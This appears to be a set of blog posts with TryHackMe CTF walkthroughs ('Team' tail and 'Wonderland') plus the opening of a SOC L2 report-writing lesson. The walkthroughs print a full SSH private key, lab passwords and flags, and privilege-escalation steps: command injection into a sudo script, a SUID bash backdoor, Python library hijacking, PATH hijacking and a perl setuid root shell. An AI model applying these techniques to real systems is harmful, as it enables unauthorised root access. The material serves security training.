#7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v #JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/ #FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l #gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4 #xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH #ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb #esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO #eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R #N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg #Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi #U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW #/vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz #82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA #wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q #z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6 #RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7 #/ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx #sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb #mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur #4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg #e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S #2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH #8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX #b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7 #CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH #-----END OPENSSH PRIVATE KEY-----

cat > dale_rsa << 'EOF'
> -----BEGIN OPENSSH PRIVATE KEY-----
> b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
> NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
> NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
> oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
> o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP
> zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu
> k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS
> xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S
> 0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2
> EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU
> eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v
> 7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v
> JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/
> FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l
> gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4
> xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH
> ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb
> esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO
> eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R
> N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg
> Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi
> U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW
> /vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz
> 82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA
> wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q
> z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6
> RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7
> /ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx
> sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb
> mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur
> 4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg
> e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S
> 2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
> 8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
> b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
> CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
> -----END OPENSSH PRIVATE KEY-----
> EOF

chmod 600 dale_rsa

ssh -i dale_rsa dale@team.thm

We now have our user dale and can still access the flag through this way but we're now much more interested in finding a way to escalate privileges from user to root.

dale@ip-10-130-180-195:~$ ls -la
total 44
drwxr-xr-x 6 dale dale 4096 Jan 15  2021 .
drwxr-xr-x 7 root root 4096 Jun  1  2025 ..
-rw------- 1 dale dale 2549 Jan 21  2021 .bash_history
-rw-r--r-- 1 dale dale  220 Jan 15  2021 .bash_logout
-rw-r--r-- 1 dale dale 3771 Jan 15  2021 .bashrc
drwx------ 2 dale dale 4096 Jan 15  2021 .cache
drwx------ 3 dale dale 4096 Jan 15  2021 .gnupg
drwxrwxr-x 3 dale dale 4096 Jan 15  2021 .local
-rw-r--r-- 1 dale dale  807 Jan 15  2021 .profile
drwx------ 2 dale dale 4096 Jan 15  2021 .ssh
-rw-r--r-- 1 dale dale    0 Jan 15  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 dale dale   17 Jan 15  2021 user.txt
dale@ip-10-130-180-195:~$ sudo -l
Matching Defaults entries for dale on ip-10-130-180-195:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dale may run the following commands on ip-10-130-180-195:
    (gyles) NOPASSWD: /home/gyles/admin_checks

checking the details on admin_checks inorder to understand how we'll get root access

cat /home/gyles/admin_checks
#!/bin/bash

printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name  >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null

date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

printf "Stats have been backed up\n"

Some trials find, but we kept trying with the help of Claude and some writeups:

sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: date
Enter 'date' to timestamp the file: /bin/bash
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors),1004(admin)
sudo -l
[sudo] password for gyles: 
Sorry, try again.
[sudo] password for gyles: 
wSorry, try again.
[sudo] password for gyles: 
whoami
gyles
id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),108(lxd),1003(editors),1004(admin)
python3 -c 'import pty; pty.spawn("/bin/bash")'

find / -group admin -writable 2>/dev/null
/usr/local/bin
/usr/local/bin/main_backup.sh
/opt/admin_stuff



find / -group editors -writable 2>/dev/null

/var/stats/stats.txt
/home/gyles/admin_checks

With the next command, we finally get our root access and flag

cat /usr/local/bin/main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
gyles@ip-10-130-180-195:/home/dale$ echo 'chmod +s /bin/bash' >> /usr/local/bin/main_backup.sh
gyles@ip-10-130-180-195:/home/dale$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
gyles@ip-10-130-180-195:/home/dale$ # Should show -rwsr-xr-x (s = SUID set)
gyles@ip-10-130-180-195:/home/dale$ /bin/bash -p
bash-5.0# # -p flag preserves the elevated privileges
bash-5.0# 
bash-5.0# whoami
root
bash-5.0# # root
bash-5.0# 
bash-5.0# cat /root/root.txt
THM{fhqbznavfonq}
bash-5.0#

Wonderland (CTF Challenge - THM)

Jebitok — Sat, 28 Mar 2026 16:57:09 GMT

Intro:

Wonderland is a beginner-friendly CTF room on TryHackMe themed around Lewis Carroll's Alice in Wonderland. The challenge walks through a full attack chain — web enumeration, steganography hints, SSH access, Python library hijacking, SUID binary exploitation via PATH manipulation, and Linux capabilities abuse — to escalate from an unprivileged web user all the way to root. Notably, the room reverses the expected flag locations: the user flag lives in /root and the root flag in /home/alice.

Capture the flags

Enter Wonderland and capture the flags.

Answer the questions below

Reconnaisance & Enumeration

nmap -sV -p- IP_Address

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]
/index.html           (Status: 301) [Size: 0] [--> ./]
/r                    (Status: 301) [Size: 0] [--> r/]

gobuster dir -u http://IP_Address/img -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/index.html           (Status: 301) [Size: 0] [--> ./]
/index.html           (Status: 301) [Size: 0] [--> ./]

gobuster dir -u http://IP_Address/r -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/a                    (Status: 301) [Size: 0] [--> a/]
/index.html           (Status: 301) [Size: 0] [--> ./]
/index.html           (Status: 301) [Size: 0] [--> ./]

gobuster dir -u http://IP_Address/r/a -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/b                    (Status: 301) [Size: 0] [--> b/]
/index.html           (Status: 301) [Size: 0] [--> ./]
/index.html           (Status: 301) [Size: 0] [--> ./]

noticed that the other paths would make up rabbit in full, i.e., http://IP_Address/r/a/b/b/i/t

Details found in recon:

The IP_Address/img has images, and I’m wondering if we should use wget to download the images

alice_door.jpg
alice_door.png
white_rabbit_1.jpg

the IP_Address/r:

Keep Going.

"Would you tell me, please, which way I ought to go from here?"

IP_Address/r/a

Keep Going.

"That depends a good deal on where you want to get to," said the Cat.

IP_Address/r/a/b

Keep Going.

"I don’t much care where —" said Alice.

IP_Address/r/a/b/b

Keep Going.

"Then it doesn’t matter which way you go," said the Cat.

Image Analysis

wget http://IP_Address/img/alice_door.jpg http://IP_Address/img/alice_door.png http://IP_Address/img/white_rabbit_1.jpg

strings white_rabbit_1.jpg
strings alice_door.jpg
strings alice_door.png

exiftool alice_door.png
ExifTool Version Number         : 11.88
File Name                       : alice_door.png
Directory                       : .
File Size                       : 1800 kB
File Modification Date/Time     : 2020:06:01 23:23:17+01:00
File Access Date/Time           : 2026:03:27 08:14:15+00:00
File Inode Change Date/Time     : 2026:03:27 08:13:28+00:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1962
Image Height                    : 1942
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 23622
Pixels Per Unit Y               : 23622
Pixel Units                     : meters
Image Size                      : 1962x1942
Megapixels                      : 3.8

exiftool alice_door.jpg
ExifTool Version Number         : 11.88
File Name                       : alice_door.jpg
Directory                       : .
File Size                       : 1520 kB
File Modification Date/Time     : 2020:05:25 17:34:52+01:00
File Access Date/Time           : 2026:03:27 08:14:12+00:00
File Inode Change Date/Time     : 2026:03:27 08:13:28+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.02
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
X Resolution                    : 600
Y Resolution                    : 600
Resolution Unit                 : inches
Software                        : Adobe Photoshop CS3 Macintosh
Modify Date                     : 2008:01:20 01:49:10
Color Space                     : Uncalibrated
Exif Image Width                : 1962
Exif Image Height               : 1942
Compression                     : JPEG (old-style)
Thumbnail Offset                : 332
Thumbnail Length                : 12311
Current IPTC Digest             : 460cf28926b856dab09c01a1b0a79077
Application Record Version      : 2
IPTC Digest                     : 460cf28926b856dab09c01a1b0a79077
Displayed Units X               : inches
Displayed Units Y               : inches
Print Style                     : Centered
Print Position                  : 0 0
Print Scale                     : 1
Global Angle                    : 30
Global Altitude                 : 30
Copyright Flag                  : False
URL List                        : 
Slices Group Name               : De_Alice's_Abenteuer_im_Wunderland_Carroll_pic_03
Num Slices                      : 1
Pixel Aspect Ratio              : 1
Photoshop Thumbnail             : (Binary data 12311 bytes, use -b option to extract)
Has Real Merged Data            : Yes
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CS3
Photoshop Quality               : 12
Photoshop Format                : Progressive
Progressive Scans               : 3 Scans
XMP Toolkit                     : Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43
Create Date                     : 2008:01:20 01:47:53-05:00
Metadata Date                   : 2008:01:20 01:49:10-05:00
Creator Tool                    : Adobe Photoshop CS3 Macintosh
Format                          : image/jpeg
Color Mode                      : RGB
History                         : 
Instance ID                     : uuid:436B87178CC8DC11A35E97C268772518
Native Digest                   : 256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;75A2F56A7448AE47A140395308BA4302
DCT Encode Version              : 100
APP14 Flags 0                   : [14]
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 1962
Image Height                    : 1942
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1962x1942
Megapixels                      : 3.8
Thumbnail Image                 : (Binary data 12311 bytes, use -b option to extract)

Obtain the flag in user.txt

Remember the path we found above, checking the site or even running curl http://IP_Address/r/a/b/b/i/t/, we find the SSH user and their password

curl http://IP_Address/r/a/b/b/i/t/



    Enter wonderland
    



    Open the door and enter wonderland
    "Oh, you\u2019re sure to do that," said the Cat, "if you only walk long enough."
    Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
    
    "In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
        the other paw, "lives a March Hare. Visit either you like: they\u2019re both mad."
    alice:HowDothTheLittleCrocodileImproveHisShiningTail

wget http://IP_Address/img/white_rabbit_1.jpg

ssh alice@IP_Address

ls -la
total 40
drwxr-xr-x 5 alice alice 4096 May 25  2020 .
drwxr-xr-x 6 root  root  4096 May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25  2020 .bashrc
drwx------ 2 alice alice 4096 May 25  2020 .cache
drwx------ 3 alice alice 4096 May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3577 May 25  2020 walrus_and_the_carpenter.py
alice@wonderland:~$ cat root.txt
cat: root.txt: Permission denied
alice@wonderland:~$ python3 walrus_and_the_carpenter.py
The line was:	 And shook his heavy head \u2014
The line was:	 Before his streaming eyes.
The line was:	 Of cabbages \u2014 and kings \u2014
The line was:	 "I deeply sympathize."
The line was:	 To give a hand to each."
The line was:	 And scrambling to the shore.
The line was:	 The eldest Oyster looked at him.
The line was:	 Are very good indeed \u2014
The line was:	 There were no birds to fly.
The line was:	 "A pleasant walk, a pleasant talk,

full details of the Python file

cat walrus_and_the_carpenter.py
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright \u2014
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done \u2014
"It\u2019s very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head \u2014
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head \u2014
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat \u2014
And this was odd, because, you know,
They hadn\u2019t any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more \u2014
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes \u2014 and ships \u2014 and sealing-wax \u2014
Of cabbages \u2014 and kings \u2014
And why the sea is boiling hot \u2014
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed \u2014
Now if you\u2019re ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf \u2014
I\u2019ve had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we\u2019ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter\u2019s spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You\u2019ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none \u2014
And that was scarcely odd, because
They\u2019d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

cat > /home/alice/random.py << 'EOF'
import os
import pty
pty.spawn("/bin/bash")
EOF

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

/bin/echo -n 'Probably by ' && date --date='next 
Probably by Fri, 27 Mar 2026 10:40:45 +0000
rabbit@wonderland:/home/rabbit$ ls -la /home/rabbit/teaParty
-rwsr-sr-x 1 root root 16816 May 25  2020 /home/rabbit/teaParty
rabbit@wonderland:/home/rabbit$ cd /home/rabbit
rabbit@wonderland:/home/rabbit$ 
rabbit@wonderland:/home/rabbit$ echo '/bin/bash' > date
rabbit@wonderland:/home/rabbit$ chmod +x date
rabbit@wonderland:/home/rabbit\( export PATH=/home/rabbit:\)PATH
rabbit@wonderland:/home/rabbit$ 
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ ls -la
total 44
drwxr-x--- 2 rabbit rabbit  4096 Mar 27 09:41 .
drwxr-xr-x 6 root   root    4096 May 25  2020 ..
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwxr-xr-x 1 rabbit rabbit    10 Mar 27 09:41 date
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty

It reveals the password of hatter in an effort to escalate privileges to root eventually

cd /home/hatter
cat password.txt
WhyIsARavenLikeAWritingDesk?

We finally have our user flag:

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'


# user flag (it's in /root - this room reverses the flag locations)
cat /root/user.txt

thm{"Curiouser and curiouser!"}

Escalate your privileges, what is the flag in root.txt?

The root flag is in this path:

# root flag (it's in alice's home)
cat /home/alice/root.txt

whoami
hatter
hatter@wonderland:/home/hatter$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
SIX::setuid(0); exec "/bin/bash";'sr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POS
bash: /usr/bin/perl5.26.1: Permission denied

sudo -l
[sudo] password for hatter: 
Sorry, user hatter may not run sudo on wonderland.
(0); exec "/bin/bash";'sr/bin/perl5.26.1 -e 'use POSIX qw(setuid); POSIX::setuid(
root@wonderland:~# find / -type f -name root.txt 2>/dev/null
/home/alice/root.txt
root@wonderland:~# cat /home/alice/root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you're at!}

Conclusion:

Key Takeaways:

Follow the theme — the /r/a/b/b/i/t path was hidden in plain sight; the Alice in Wonderland theme was a direct hint at what word to spell out
Hidden HTML elements leak credentials — display: none is security; always curl and read raw source
Python library hijacking — when a script uses import random without an absolute path, and you control the working directory, you can drop a malicious random.py to hijack execution
PATH hijacking with SUID binaries — if a SUID binary calls a command by name (not full path), placing a fake version earlier in $PATH runs your code with the binary's elevated privileges
Linux capabilities as a privesc vector — cap_setuid on perl is as good as a SUID binary; always run getcap -r / 2>/dev/null in your enumeration checklist
Group context matters — the perl privesc failed until SSHing in directly as hatter to inherit the correct group membership

Remediation:

Avoid embedding credentials in HTML, even in hidden elements
Pin library imports using absolute paths or virtual environments in sensitive scripts
Avoid calling system binaries by name in SUID/capability-enabled programs; use full absolute paths
Audit Linux capabilities regularly — cap_setuid on interpreters like Perl or Python should never appear in production

Report Writing for SOC L2 (TryHackMe)

Jebitok — Thu, 26 Mar 2026 19:52:57 GMT

Introduction

As you move into a senior (Level 2) analyst role, the scope of your responsibilities shifts. Technical alert triage is still part of the job, but your findings now need to reach people beyond the SOC, through formal case reports. This room explores the report writing skills that make you effective at the Level 2 role and beyond.

Learning Objectives

Understand the purpose and value of professional reports
Explore SOC report templates for various target audiences
Learn how AI helps with report writing, and what the pitfalls are
Practice the acquired knowledge in two interactive simulations

Prerequisites

No formal prerequisites, but the room suits best for L1+ analysts

L1 vs L2 Communication

Responsibilities of Level 2

SOC Level 2 is as much about communication as it is about technical skill. L1 analysts can do an outstanding job triaging alerts, but if those findings aren't communicated clearly, they have no value in the real world. As L2, your job is to turn SOC notes into something actionable: a precise summary report that colleagues, customers, or management can act on. Your report writing skills can decide whether an intrusion is stopped in time.

L2 reports must sound credible and professional. Your report is how the outside world sees your SOC.

In most SOC teams, L1 analysts communicate almost exclusively within the team itself: writing ticket notes, escalating alerts, and handing off to colleagues. For L2 analysts, this changes significantly: the role carries broader responsibility, and with it comes a higher need for soft skills. Depending on the organization and the severity of an incident, an L2 analyst may find themselves communicating with:

Top management (C-level): To present an incident summary or a quarterly SOC report
External MSSP customers: To report a detected intrusion and agree on next steps
DFIR, CTI, or InfoSec teams: To hand over the SOC findings and attack indicators

You will need to adjust your writing style for the right audience to succeed in a SOC

L2 Report Types

The L1 analysts don't create formal external reports and operate around short alert comments and escalation notes (200-500 characters per alert). During routine days, the L2 analysts don't go beyond that metric, too. But when something serious happens, they might need to write more formal reports, such as:

Case summary for C-level: A business-focused, non-technical overview of the incident that occurred
Email to the MSSP customer: A formal, actionable summary of what happened and what to do next
DFIR team handover notes: A list of your findings from SIEM/EDR to help the bigger forensics efforts

In the next tasks, we will explore best practices for every type of SOC L2 communication

Communication Channels

Lastly, L2 analysts need to choose the right channel for reporting. Let's see the common options below:

Channel	Purpose
Voice Call	Used for urgent situations requiring an immediate response. For accountability, phone or Zoom calls are typically followed up with an email summary.
Email Letter	Security-related updates and incidents should always be communicated via email, with all relevant parties copied (CC) to ensure a clear audit trail.
Ticketing System	Bigger MSSPs have dedicated ticketing systems and customer portals (e.g. Jira ITSM) that are used instead of regular email threads.
Corporate Chat	Ideal for internal and informal discussions. Same as with voice calls, key decisions and incident findings should still be summarized via email.

Note: Every company builds its own workflows, so the table above might not be applicable to every SOC or MSSP.

Answer the questions below

Which SOC tier, L1 or L2, bridges the SOC and the outside world? L2

What do L2 analysts write to summarize SOC findings (one word)? Reports

Leadership Communication

Reporting to Company Leadership

The internal SOC team always reports to a C-level position, such as CTO, CISO, or even CEO. Whenever your SOC handles (or misses) an intrusion that causes business impact, you need to explain it to the leadership. You might also need to prepare periodic reports on SOC effectiveness or write a formal request to purchase or replace a security solution. The key rules you need to remember during C-level communication are:

Focus on business: Focus on what's important for the company, not just SOC.
Use formal tone: Speak and write as an independent expert, not as an old friend.
Keep it simple: Avoid jargon and terminology; your audience is non-technical.
Talk in facts: Keep evidence for your statements (screenshots, snapshots, links).
Don't panic: During incidents, show that the situation is fully under SOC control.

Contacting MSSP Customers

If your SOC operates as an MSSP, you may be communicating with dozens of customers every day. As an L2 analyst, one of the most frequent and important tasks you have is reporting security threats to the customers. This should always be done through an official channel, typically email, with SOC colleagues and customer representatives in copy, so there is a clear and shared record of every communication. Let's imagine a scenario from an OpenDoor customer:

The Scenario

The L1 analyst escalates a critical alert to you about a data stealer on LPT-007 You investigate the alert deeper and find out the affected developer, bob.phisher You confirm the impact of the incident: the stored AWS access keys have been stolen You remediate the malware and isolate the laptop, but can't "unsteal" the AWS keys You urgently contact the customer and explain how to invalidate the stolen AWS keys 2. The Initial Report

Your immediate task is to start the response within the SLA. For this, you collect what you know so far and send a report to the customer. At this stage, the report doesn't need to explain the whole incident, but must highlight the urgency of the incident, explain what the customer must do to stop it, and when to expect more updates from your team. The goal of the initial report is to start threat containment as soon as possible. See the email example below:

